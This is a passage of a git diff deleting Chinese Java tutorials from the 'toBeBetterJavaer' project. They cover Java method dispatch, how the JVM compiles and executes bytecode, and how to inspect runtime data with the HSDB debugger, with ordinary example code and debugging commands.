Father { - - @Override - public void hardChoice(QQ qq) { - System.out.println("Son choice QQ!"); - } - - @Override - public void hardChoice(QiHu360 qiHu360) { - System.out.println("Son choice 360!"); - } - } - - public static void main(String[] args) { - - Father father = new Father(); - Father son = new Son(); - - father.hardChoice(new QQ()); - son.hardChoice(new QiHu360()); - } -} -``` - -代码输出结果: - -``` -Father choice QQ! -Son choice 360! -``` - -我们先来看看编译阶段编译器的选择过程,也就是静态分派过程。这个时候选择目标方法的依据有两点:一是静态类型是 Father 还是 Son;二是方法入参是 QQ 还是 QiHu360。**因为是根据两个宗量进行选择的,所以 Java 语言的静态分派属于多分派**。 - -再看看运行阶段虚拟机的选择过程,也就是动态分派的过程。在执行 son.hardChoice(new QiHu360()) 时,由于编译期已经确定目标方法的签名必须为 hardChoice(QiHu360),这时参数的静态类型、实际类型都不会对方法的选择造成任何影响,唯一可以影响虚拟机选择的因数只有此方法的接收者的实际类型是 Father 还是 Son。因为只有一个宗量作为选择依据,所以 Java 语言的动态分派属于单分派。 - -综上所述,Java 语言是一门静态多分派、动态单分派的语言。 - -### 三. 基于栈的字节码解释执行引擎 - -虚拟机如何调用方法已经介绍完了,下面我们来看看虚拟机是如何执行方法中的字节码指令的。 - -#### 解释执行 - -Java 语言常被人们定义成「解释执行」的语言,但随着 JIT 以及可直接将 Java 代码编译成本地代码的编译器的出现,这种说法就不对了。只有确定了谈论对象是某种具体的 Java 实现版本和执行引擎运行模式时,谈解释执行还是编译执行才会比较确切。 - -无论是解释执行还是编译执行,无论是物理机还是虚拟机,对于应用程序,机器都不可能像人一样阅读、理解,然后获得执行能力。大部分的程序代码到物理机的目标代码或者虚拟机执行的指令之前,都需要经过下图中的各个步骤。下图中最下面的那条分支,就是传统编译原理中程序代码到目标机器代码的生成过程;中间那条分支,则是解释执行的过程。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/how-jvm-run-zijiema-zhiling-3c8a0865-2a77-464e-8dd6-5616fd6a72d7.png) - - -如今,基于物理机、Java 虚拟机或者非 Java 的其它高级语言虚拟机的语言,大多都会遵循这种基于现代编译原理的思路,在执行前先对程序源代码进行词法分析和语法分析处理,把源代码转化为抽象语法树。对于一门具体语言的实现来说,词法分析、语法分析以至后面的优化器和目标代码生成器都可以选择独立于执行引擎,形成一个完整意义的编译器去实现,这类代表是 C/C++。也可以为一个半独立的编译器,这类代表是 Java。又或者把这些步骤和执行全部封装在一个封闭的黑匣子中,如大多数的 JavaScript 执行器。 - -Java 语言中,Javac 编译器完成了程序代码经过词法分析、语法分析到抽象语法树、再遍历语法树生成字节码指令流的过程。因为这一部分动作是在 Java 虚拟机之外进行的,而解释器在虚拟机的内部,所以 Java 程序的编译就是半独立的实现。 - -许多 Java 虚拟机的执行引擎在执行 Java 代码的时候都有解释执行(通过解释器执行)和编译执行(通过即时编译器产生本地代码执行)两种选择。而对于最新的 Android 版本的执行模式则是 AOT + JIT + 解释执行,关于这方面我们后面有机会再聊。 - -#### 基于栈的指令集与基于寄存器的指令集 - -Java 编译器输出的指令流,基本上是一种基于栈的指令集架构。基于栈的指令集主要的优点就是可移植,寄存器由硬件直接提供,程序直接依赖这些硬件寄存器则不可避免的要受到硬件约束。栈架构的指令集还有一些其他优点,比如相对更加紧凑(字节码中每个字节就对应一条指令,而多地址指令集中还需要存放参数)、编译实现更加简单(不需要考虑空间分配的问题,所有空间都是在栈上操作)等。 - -栈架构指令集的主要缺点是执行速度相对来说会稍慢一些。所有主流物理机的指令集都是寄存器架构也从侧面印证了这一点。 - -虽然栈架构指令集的代码非常紧凑,但是完成相同功能需要的指令集数量一般会比寄存器架构多,因为出栈、入栈操作本身就产生了相当多的指令数量。更重要的是,栈实现在内存中,频繁的栈访问也意味着频繁的内存访问,相对于处理器来说,内存始终是执行速度的瓶颈。由于指令数量和内存访问的原因,所以导致了栈架构指令集的执行速度会相对较慢。 - -正是基于上述原因,Android 虚拟机中采用了基于寄存器的指令集架构。不过有一点不同的是,前面说的是物理机上的寄存器,而 Android 上指的是虚拟机上的寄存器。 - ----- - - -引用链接:https://juejin.cn/post/6844903871010045960 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/how-run-java-code.md b/docs/src/jvm/how-run-java-code.md deleted file mode 100644 index 516e5e4eae..0000000000 --- a/docs/src/jvm/how-run-java-code.md +++ /dev/null @@ -1,318 +0,0 @@ ---- -title: JVM到底是如何运行Java代码的?3000 字 10 张手绘图带你彻底掌握。 -shortTitle: JVM如何运行Java代码? -category: - - Java核心 -tag: - - Java虚拟机 -description: Java代码首先被编译器转换为字节码,然后在JVM上运行。在运行时,JVM通过解释执行或即时编译(JIT)将字节码转换为机器码。解释执行直接运行字节码,而JIT在运行时将热点代码编译优化为机器码以提升性能。 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,字节码,字节码指令,字节码文件,字节码文件结构 ---- - - -“二哥,看了 [Hello World](https://javabetter.cn/overview/hello-world.html) 的代码后,我很好奇,它是怎么在 IDEA 的 Run 面板里打印出‘三妹,少看手机少打游戏,好好学,美美哒’呢?”三妹咪了一口麦香可可奶茶后对我说。 - -“三妹,我们通常把 Java 代码执行的过程分为编译期和运行时,弄清楚这两个阶段就知道原因了。”我微笑着对三妹说,“对于一个 Java 程序员来说,写了那么久的代码,总要搞清楚自己写的 Java 代码到底是怎么运行起来的。这个问题在面试的时候也经常会被问到。” - -一起来看下吧。 - -## 编译期 - -贴一下 HelloWorld 这段代码: - -```java -/** - * @author 微信搜「沉默王二」,回复关键字 PDF - */ -public class HelloWorld { - public static void main(String[] args) { - System.out.println("三妹,少看手机少打游戏,好好学,美美哒。"); - } -} -``` - -点击 IDEA 工具栏中的锤子按钮(Build Project,编译整个项目,通常情况下,并不需要主动编译,IDEA 会自动帮我们编译),如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/five-01.png) - -这时候,就可以在 src 的同级目录 target 下找到一个名为 HelloWorld.class 的文件。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/five-02.png) - -如果找不到的话,在目录上右键选择「Reload from Disk,从磁盘上重新加载」,如下图所示: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/five-03.png) - -可以双击打开它,看到如下所示的内容。 - -```java -// -// Source code recreated from a .class file by IntelliJ IDEA -// (powered by Fernflower decompiler) -// - -package com.itwanger.five; - -public class HelloWorld { - public HelloWorld() { - } - - public static void main(String[] args) { - System.out.println("三妹,少看手机少打游戏,好好学,美美哒。"); - } -} -``` - -IDEA 默认会用 [Fernflower](https://github.com/fesh0r/fernflower) 这个反编译工具将字节码文件(后缀为 .class 的文件,也就是 Java 源代码编译后的文件)反编译为我们可以看得懂的 Java 源代码。 - -但实际上,[字节码文件](https://javabetter.cn/jvm/class-file-jiegou.html)并不是这样的,它包含了 JVM 执行的指令,还有类的元数据信息,如类名、方法和属性等。如果用 「show bytecode」打开字节码文件的话,它是下面这样子的: - -``` -// class version 58.0 (58) -// access flags 0x21 -public class com/itwanger/five/HelloWorld { - - // compiled from: HelloWorld.java - - // access flags 0x1 - public ()V - L0 - LINENUMBER 6 L0 - ALOAD 0 - INVOKESPECIAL java/lang/Object. ()V - RETURN - L1 - LOCALVARIABLE this Lcom/itwanger/five/HelloWorld; L0 L1 0 - MAXSTACK = 1 - MAXLOCALS = 1 - - // access flags 0x9 - public static main([Ljava/lang/String;)V - L0 - LINENUMBER 8 L0 - GETSTATIC java/lang/System.out : Ljava/io/PrintStream; - LDC "\u4e09\u59b9\uff0c\u5c11\u770b\u624b\u673a\u5c11\u6253\u6e38\u620f\uff0c\u597d\u597d\u5b66\uff0c\u7f8e\u7f8e\u54d2\u3002" - INVOKEVIRTUAL java/io/PrintStream.println (Ljava/lang/String;)V - L1 - LINENUMBER 9 L1 - RETURN - L2 - LOCALVARIABLE args [Ljava/lang/String; L0 L2 0 - MAXSTACK = 2 - MAXLOCALS = 1 -} -``` - -是不是就有点看不懂了?我第一次看到这段内容的时候也很头大,不过不要担心,后面我们再一块深入研究,这里就提前感受一下 [bytecode](https://javabetter.cn/jvm/class-file-jiegou.html)(也就是字节码)的魅力(😂)。 - -怎么查看 bytecode 呢? - -可以通过 IDEA 菜单栏中的「View」→「Show Bytecode」查看,如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/five-04.png) - -这个 bytecode 可以直译为字节码。 - -字节码并不是机器码,操作系统无法直接识别,需要在操作系统上安装不同版本的 [JVM](https://javabetter.cn/jvm/what-is-jvm.html) 来识别。 - -通常情况下,我们只需要安装不同版本的 JDK(Java Development Kit,Java 开发工具包)就行了,它里面包含了 JRE(Java Runtime Environment,Java 运行时环境),而 JRE 又包含了 JVM。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/five-05.png) - -Windows、Linux、MacOS 等操作系统都有相应的 JDK,只要安装好了 JDK 就有了 Java 的运行时环境,就可以把 Java 源代码编译为字节码,然后字节码又可以在不同的操作系统上运行了。 - ->build once,run anywhere。 - -### jclasslib - -这里给推荐一款查看字节码文件的插件 `jclasslib`,可以在 IDEA 插件市场中安装。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/five-07.png) - -安装完成之后,点击 View -> Show Bytecode With jclasslib 即可查看字节码文件了(点击之前,光标要停留在对应的类文件上),如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/five-08.png) - -使用 jclasslib 不仅可以直观地查看类对应的字节码,还可以查看类的基本信息、常量池、接口、字段、方法等信息,如下图所示,[后面也会细讲](https://javabetter.cn/jvm/class-file-jiegou.html)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/five-09.png) - -也就是说,**在编译阶段,Java 会将 Java 源代码文件编译为字节码文件**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/five-10.png) - -字节码文件如果用十六进制编辑器([下一节](https://javabetter.cn/jvm/class-load.html)会讲到)打开的话,内容如下所示(本身是 01 串的二进制),十六进制更容易看懂(虽然肉眼也很难看得懂😂)。 - -``` -cafe babe 0000 0034 0013 0a00 0400 0f09 -0003 0010 0700 1107 0012 0100 016d 0100 -0149 0100 063c 696e 6974 3e01 0003 2829 -5601 0004 436f 6465 0100 0f4c 696e 654e -756d 6265 7254 6162 6c65 0100 0369 6e63 -0100 0328 2949 0100 0a53 6f75 7263 6546 -696c 6501 0009 4d61 696e 2e6a 6176 610c -0007 0008 0c00 0500 0601 0010 636f 6d2f -7268 7974 686d 372f 4d61 696e 0100 106a -6176 612f 6c61 6e67 2f4f 626a 6563 7400 -2100 0300 0400 0000 0100 0200 0500 0600 -0000 0200 0100 0700 0800 0100 0900 0000 -1d00 0100 0100 0000 052a b700 01b1 0000 -0001 000a 0000 0006 0001 0000 0003 0001 -000b 000c 0001 0009 0000 001f 0002 0001 -0000 0007 2ab4 0002 0460 ac00 0000 0100 -0a00 0000 0600 0100 0000 0800 0100 0d00 -0000 0200 0e -``` - -## 运行时 - -当有了 .class 文件也就是[字节码文件](https://javabetter.cn/jvm/class-file-jiegou.html)之后,我们需要启动 JVM 来运行字节码文件,也就是 run 阶段,之前是 build 阶段。 - -JVM 会先通过[类加载器](https://javabetter.cn/jvm/class-load.html)加载字节码文件,然后将字节码加载到 JVM 的运行时数据区,再通过执行引擎转化为机器码最终交给操作系统执行。 - -![](https://cdn.paicoding.com/stutymore/how-run-java-code-20231030194039.png) - -我们使用 [javap](https://javabetter.cn/jvm/bytecode.html)(后面会细讲)来看一下 HelloWorld 的字节码指令序列。 - -``` -0 getstatic #2 -3 ldc #3 -5 invokevirtual #4 -8 return -``` - -字节码指令序列通常由多条指令组成,每条指令由一个操作码和若干个操作数构成。 - -- 操作码:一个字节大小的指令,用于表示具体的操作。 -- 操作数:跟随操作码,用于提供额外信息。 - -这段字节码序列的意思是调用 System.out.println 方法打印"Hello World"字符串。下面是详细的解释: - -①、`0: getstatic #2 `: - - 操作码:getstatic - - 操作数:#2 - - 描述:这条指令的作用是获取静态字段,这里获取的是`java.lang.System`类的`out`静态字段,它是一个`PrintStream`类型的输出流。#2 是一个指向[常量池](https://javabetter.cn/jvm/class-file-jiegou.html)的索引,后面在讲类文件结构时会讲到。 - -②、`3: ldc #3 `: - - 操作码:ldc - - 操作数:#3 - - 描述:这条指令的作用是从常量池中加载一个常量值(字符串"Hello World")到操作数栈顶。#3 是一个指向常量池的索引,常量池里存储了字符串"Hello World"的引用。 - -③、`5: invokevirtual #4 `: - - 操作码:invokevirtual - - 操作数:#4 - - 描述:这条指令的作用是调用方法。这里调用的是`PrintStream`类的`println`方法,用来打印字符串。#4 是一个指向常量池的索引,常量池里存储了`java/io/PrintStream.println`方法的引用信息。 - -④、`8: return`: - - 操作码:return - - 描述:这条指令的作用是从当前方法返回。 - -上面的 getstatic、ldc、invokevirtual、return 等就是 [字节码指令](https://javabetter.cn/jvm/zijiema-zhiling.html)的操作码。 - -可以使用 [hexdump](https://zh.wikipedia.org/wiki/%E5%8D%81%E5%85%AD%E8%BF%9B%E5%88%B6%E8%BD%AC%E5%82%A8),一个在 Unix 和 Linux 系统中常用的工具,用于以十六进制的形式显示文件的内容,看一下字节码的二进制内容。 - -``` -b2 00 02 12 03 b6 00 04 b1 -``` - -注意:这里是二进制文件的 16 进制表示,也就是 hex,一般分析二进制文件都是以 hex 进行分析。字节码指令和二进制之间的对应关系,以及对应的语义如下所示: - -``` -0xb2 getstatic 获取静态字段的值 -0x12 ldc 常量池中的常量值入栈 -0xb6 invokevirtual 运行时方法绑定调用方法 -0xb1 return void 方法返回 -``` - -JVM 就是靠解析这些字节码指令来完成程序执行的。常见的执行方式有两种,一种是解释执行,对字节码逐条解释执行;一种是 [JIT](https://javabetter.cn/jvm/jit.html),也就是即时编译,它会在运行时将热点代码优化并缓存起来,下次再执行的时候直接使用缓存起来的机器码,而不需要再次解释执行。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/how-run-java-code-91dac706-1c4e-4775-bc4e-b2104283aa04.png) - -这样就可以提高程序的执行效率。 - -注意,当[类加载器](https://javabetter.cn/jvm/class-load.html)完成字节码数据加载任务后,JVM 划分了专门的内存区域来装载这些字节码数据以及运行时中间数据。 - -![](https://cdn.paicoding.com/stutymore/neicun-jiegou-20240110194325.png) - -其中 PC 寄存器、虚拟机栈以及本地方法栈属于线程私有的,堆以及元空间(方法区的实现)属于共享数据区,不同的线程共享这两部分内存数据。 - -如果虚拟机中的当前线程执行的是 Java 的[普通方法](https://javabetter.cn/oo/method.html),那么 PC 寄存器中存储的是方法的第一条指令,当方法开始执行之后, PC 寄存器存储的是下一个字节码指令的地址。 - -如果虚拟机中的当前线程执行的是 [native 方法](https://javabetter.cn/oo/native-method.html),那么 PC 寄存器中的值为 undefined。 - -如果遇到判断分支、循环以及异常等不同的控制转移语句,PC 寄存器会被置为目标字节码指令的地址。 - -另外在多线程切换的时候,虚拟机会记录当前线程的 PC 寄存器,当线程切换回来的时候会根据此前记录的值恢复到 PC 寄存器中,来继续执行线程的后续的字节码指令。 - -除了 PC 寄存器外,字节码指令的执行流转还需要[虚拟机栈](https://javabetter.cn/jvm/vm-stack-register.html)的参与。我们先来看下虚拟机栈的大致结构,如下图所示。 - -![](https://cdn.paicoding.com/stutymore/how-run-java-code-20231031142106.png) - -虚拟机栈操作的基本元素就是栈帧,栈帧主要包含了局部变量表、操作数栈、动态连接以及方法返回地址。栈帧是一个先进后出的数据结构,每个方法从调用到执行完成都会对应一个栈帧在虚拟机栈中入栈和出栈。 - -知道了虚拟机栈的结构之后,我们来看下方法执行的流转过程是怎样的。 - -以这段代码为例,一个 Test 类,main 方法里 new 了一个 Uesr 对象,会将 User 的 age 作为参数传递给静态方法 calculate 进行一个简单的加法操作并返回,最后打印到控制台。 - -```java -public class Test { - public static void main(String[] args) { - User user = new User(); - Integer result = calculate(user.getAge()); - System.out.println(result); - } - - private static Integer calculate(Integer age) { - Integer data = age + 3; - return data; - } - -} -``` - -1、JVM 完成 .class 文件加载之后,会创建一个名为"main"的线程,该线程会自动调用名为"main"的静态方法,这是 Java 程序的入口点; - -2、main 线程在执行 main 方法时,JVM 会在虚拟机栈中压入 main 方法对应的栈帧; - -![](https://cdn.paicoding.com/stutymore/how-run-java-code-20231031143842.png) - -3、栈帧的操作数栈中存储了操作的数据,JVM 执行字节码指令的时候会从操作数栈中获取数据,执行计算操作后会将结果再次压入操作数栈中; - -4、当进行 calculate 方法调用的时候,虚拟机栈继续压入 calculate 方法对应的栈帧。 - -![](https://cdn.paicoding.com/stutymore/how-run-java-code-20231031144218.png) - -5、对于 age + 3 这条加法指令,在执行该指令前,JVM 会将操作数栈顶部的两个元素弹出,并将它们相加,然后将结果压入操作数栈中。 - -在这个例子中,指令的操作码是“add”,它表示执行加法操作;操作数 0,表示从操作数栈的顶部获取第一个操作数;操作数 1,表示从操作数栈的次顶部获取第二个操作数。 - -6、PC 寄存器中存储了下一条需要执行的字节码指令地址。 - -7、当 calculate 方法执行完成后,对应的栈帧将从虚拟机栈中弹出,方法执行的结果会被压入 main 栈帧中的操作数栈中,而方法返回地址被重置到 main 线程的 PC 寄存器中,以便于后续字节码执行引擎从 PC 寄存器中获取下一条命令的地址。 - -如果方法没有返回值,JVM 会将一个 null 值压入调用该方法的栈帧的操作数栈中,作为占位符,以便恢复调用方的操作数栈状态。 - -8、执行引擎中的解释器会从程序计数器中获取下一个字节码指令的地址,也就是元空间中对应的字节码指令,在获取到指令之后,通过解释器解释为对应的机器指令,最终由 CPU 进行执行。 - -## 小结 - -“好的,三妹,今天我们就先讲到这里,来简单总结下。”我长舒一口气,说到。 - -Java 代码首先被编译器转换为字节码,然后在 JVM 上运行。在运行时,JVM 通过解释执行或即时编译(JIT)将字节码转换为机器码。解释执行直接运行字节码,而 JIT 在运行时将热点代码编译优化为机器码以提升性能。 - -这中间需要运行时数据区来存储字节码数据以及运行时中间数据。 - -字节码是 JVM 中非常关键的内容,涉及到[类的加载机制](https://javabetter.cn/jvm/class-load.html)、[字节码文件的结构](https://javabetter.cn/jvm/class-file-jiegou.html)、[字节码指令](https://javabetter.cn/jvm/zijiema-zhiling.html)的执行流程等等,后面我们会细讲。 - -> 参考链接:[JVM 是如何运行 Java 程序的](https://mp.weixin.qq.com/s/pj3Y-O2eIRF5tQmHboGN3A),作者梦尧技术,写的很不错。 - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/hsdb.md b/docs/src/jvm/hsdb.md deleted file mode 100644 index 06eccf8cec..0000000000 --- a/docs/src/jvm/hsdb.md +++ /dev/null @@ -1,362 +0,0 @@ ---- -title: 如何调试 JVM 运行时数据?HSDB(Hotspot Debugger)从入门到实战 -shortTitle: 如何调试 JVM 运行时数据? -category: - - Java核心 -tag: - - Java虚拟机 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶,HSDB(Hotspot Debugger)从入门到实战 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,HSDB ---- - - -`HSDB(Hotspot Debugger)`,是一款内置于 SA 中的 GUI 调试工具,可用于调试 JVM 运行时数据,从而进行故障排除。 - -## 启动HSDB - -检测不同 JDK 版本需要使用不同的 `HSDB` 版本,否则容易出现无法扫描到对象等莫名其妙的问题 - -* **Mac**:JDK7 和 JDK8 均可以采用以下的方式 - - ``` -$ sudo java -cp ,:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB -``` - -> 事实上经过测试,即使通过 JDK8 自带的 `sa-jdi.jar` 去扫描对象(`scanoops`)的时候也会发生扫不到的情况,但可以通过其他手段代替 - -而 JDK11 的启动方式有些区别 - -``` -$ /Library/Java/JavaVirtualMachines/jdk-11.0.1.jdk/Contents/Home/bin/jhsdb hsdb -``` - -> 事实上经过测试,该版本启动的 `HSDB` 会少支持一些指令(比如 `mem, whatis`),**因此目前不推荐使用该版本** - -* **Windows**:  - -``` -$ java -classpath "%JAVA_HOME%/lib/sa-jdi.jar" sun.jvm.hotspot.HSDB -``` - -其中启动版本可以使用 `/usr/libexec/java_home -V` 获取 - -> 若遇到 Unable to locate an executable at “/Users/xx/.jenv/versions/1.7/bin/jhsdb” (-1) 可通过 `Jenv` 切换到当前 Jdk 版本即可解决 - -## JVM参数设置 - -`HSDB` 对 `Serial GC` 支持的较好,因此 Debug 时增加参数 `-XX:+UseSerialGC`,Debug 工具可以使用 IDE 或 JDB - -## 获取应用进程id - -jps 仅查找当前用户的 Java 进程,而不是当前系统中的所有进程 - -``` -$ jps -``` - -* 默认**显示 pid **以及 **main 方法对应的 class 名称** -* -v:**输出传递给 JVM 的参数** -* -l: **输出 main 方法对应的 class 的完整 package 名** - -## CLHSDB常用指令 - -* `universe`:查看堆空间信息 - -* `scanoops start end [type]`:扫描指定空间中的 type 类型及其子类的实例 - -> JDK8 版本的 `HSDB` 的 `scanoops` 会无法扫描到对象,但可以通过 GUI 界面的 `Tools -> Object Histogram`,输入想要查询的对象,之后双击来获取对象的地址,也可以继续在里面点击 `inspect` 来查看对象信息 - -* `inspect`:查看对象(`OOP`)信息【使用 `tools->inspect`,输入对象地址有更详细的信息哦】 - -* `revptrs`:反向指针,查找引用该对象的指针 - -## HSDB GUI界面 - -### 可视化线程栈 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-a606c6ac-1cfc-44c3-8fdf-e0eeeabbf05a.png) - -### 对象直方图 - -`Tools -> Object Histogram`,我们可以通过对象直方图快速定位某个类型的对象的地址以供我们进一步分析 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-cf39737a-7d6a-42de-b843-123cba1f96aa.png) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-974d211c-e627-40d6-af13-9560ebae0bfa.png) - -### OOP信息 - -我们可以根据对象地址在 `Tools -> Inspector` 获取对象的在 JVM 层的实例 `instanceOopDesc` 对象,它包括对象头 `_mark` 和 `_metadata` 以及实例信息 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-026fb881-59a2-4e0f-ac4a-a2a7b505a707.png) - -### 堆信息 - -我们可以通过 `Tools -> Heap Parameters` 获取堆信息,可以结合对象地址判断对象位置 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-3baabaf0-1681-4443-b8db-ae08128744d6.png) - -### 加载类列表 - -我们可以通过 `Tools -> Class Browser` 来获取所有加载类列表 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-7e4ebd1f-ba9c-4862-b4c3-574de5c30d6b.png) - -### 元数据区 - -HotSpot VM 里有一套对象专门用来存放元数据,它们包括:  - -* `Klass` 系对象,用于描述类型的总体信息【**通过 `OOP` 信息(`inspect`)可以看到 `instanceKlass` 对象**】 - -* `ConstantPool/ConstantPoolCache` 对象:每个 `InstanceKlass` 关联着一个 `ConstantPool`,作为该类型的运行时常量池。这个常量池的结构跟 Class 文件里的常量池基本上是对应的 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-07d80d18-be4e-4861-bea3-291eea0ff262.png) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-b7b0ebed-cd38-42b7-bebc-41090409a1db.png) - -* `Method` 对象,用来描述 Java 方法的总体信息,如方法入口地址、调用/循环计数器等等 - - * `ConstMethod` 对象,记录着 Java 方法的不变的描述信息,包括方法名、方法的访问修饰符、**字节码**、行号表、局部变量表等等。**注意,字节码指令被分配在 `constMethodOop` 对象的内存区域的末尾** - * `MethodData` 对象,记录着 Java 方法执行时的 profile 信息,例如某方法里的某个字节码之类是否从来没遇到过 null,某个条件跳转是否总是走同一个分支,等等。这些信息在解释器(多层编译模式下也在低层的编译生成的代码里)收集,然后供给 HotSpot Server Compiler 用于做激进优化。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-59231922-9ce3-4107-ab1a-b33818cbab96.png) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-85c6fca7-2d1f-4194-bc07-fd1e2ab18632.png) - -* `Symbol` 对象,对应 Class 文件常量池里的 `JVM_CONSTANT_Utf8` 类型的常量。有一个 VM 全局的 `SymbolTable` 管理着所有 `Symbol`。`Symbol` 由所有 Java 类所共享。 - -### 生成class文件 - -到对应类下点击 create .class 后就可以在执行 HSDB 的目录下看到生成的 class文件,适合查看动态代理生成的字节码 - -## 实战 - -### 分析对象存储区域 - -下面代码中的静态变量,成员变量分别存储在什么地方呢? - -```java -public class Main { - - private static VMShow StaticVmShow = new VMShow(); - private VMShow objVmShow = new VMShow(); - - public static void main(String[] args) { - fn(); - } - - private static VMShow fn(){ - return new VMShow(); - } -} - -class VMShow { - private int basicInt = 1; - private Integer objInt = 2; - private static Integer staticInt = 3; - private String basicString = "basicString"; - private static String staticString = new String("staticString"); -} -``` - -首先查看对象直方图可以找到三个 VMShow 对象 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-e5f0f200-83fd-4529-b5d6-416f9a6f626b.png) - -那么如何确定这三个地址分别属于哪些变量呢?首先找静态变量,它在 JDK8 中是在 Class 对象中的,因此我们可以找它们的反向指针,如果是`java.lang.Class` 的那么就是静态变量 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-301ebfc3-c2c4-49de-946a-5d2f1660e669.png) - -我们可以从 ObjTest 的 `instanceKlass` 中的镜像找到 class 对象来验证是否是该对象的 class - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-f22359ab-b066-405f-a754-197ccbd36884.png) - -那么成员变量和局部变量如何区分呢?成员变量会被类实例引用,而局部变量地址则在会被被放在栈区 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-51cb7321-fb7a-42b0-9321-edd410e3d328.png) - -那么局部变量的反向指针都是 null,怎么确定它就被栈区所引用呢?我们可以看可视化线程栈 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-51fb09f4-06d7-4518-8038-5dd69d765862.png) - -### 分析字符串字面量存储区域 - -```java -public class StringTest { - - public static void main(String[] args) { - String s1 = "a"; - String s2 = "b"; - String s3 = s1 + s2; - String s4 = new String("ab"); - System.out.println(s4); - } -} -``` - -上面一共涉及的字符串字面量和实例分别存储在什么地方呢? - -1. 首先在 s2 处打上断点,启动 `HSDB` 监控该进程 - -2. 打开对象直方图发现只有 1 个 `a` 的字符串对象 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-b5631e70-be3a-48de-99be-4468632d23e0.png) - -3. 查找 StringTable 中 `a` 的对象地址 - - ``` -jseval "st = sa.vm.stringTable;st.stringsDo(function (s) { if (sapkg.oops.OopUtilities.stringOopToString(s).matches('^(a)')) {print(s + ': ');s.printValueOn(java.lang.System.out); println('')}})" -``` - -可以根据需要改变 `matches` 中的值来匹配 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-76084b8d-6134-4866-8891-c24a43a3b836.png) - -可以看到这个对象地址就是 StringTable 中引用的地址 - -4. 然后打断点在 sout 上,重新开始监控进程 - -5. 重新使用对象直方图查看 String 值 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-f3c35027-2fe1-4b18-8a1c-b7243a9b5149.png) - -这里有5个值,`ab` 有3个: - - * `ab` 字面量 -* 其中 s3 相当于 `new StringBuild().append("a").append("b").toString()`,会创建一个 `ab` 的实例 -* s4会创建一个 `ab` 的实例 - -6. 我们重新打印 StringTable 相应的值来验证 - -``` -jseval "st = sa.vm.stringTable;st.stringsDo(function (s) { if (sapkg.oops.OopUtilities.stringOopToString(s).matches('^(a|b).?')) {print(s + ': ');s.printValueOn(java.lang.System.out); println('')}})" -``` - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-f07a9fc8-5744-4859-9df9-c3a1016e936a.png) - -那么运行时常量池中存放的是哪些呢?实际上它和 StringTable 一样是这些对象的引用,只不过 StringTable 是全局共享的,而运行时常量池只有该类的一些字面量。我们通过加载类列表可以查看 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-25fa5e06-0250-424b-8b05-aea770e80963.png) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/hsdb-88e8c10d-e09c-4a74-95e6-e5b21577459f.png) - -### 分析String.intern - -```java -public class StringInternTest { - - public static void main(String[] args) { - String s1 = new String("he") + new String("llo"); // 1 - s1.intern(); // 2 - String s2="hello"; // 3 - 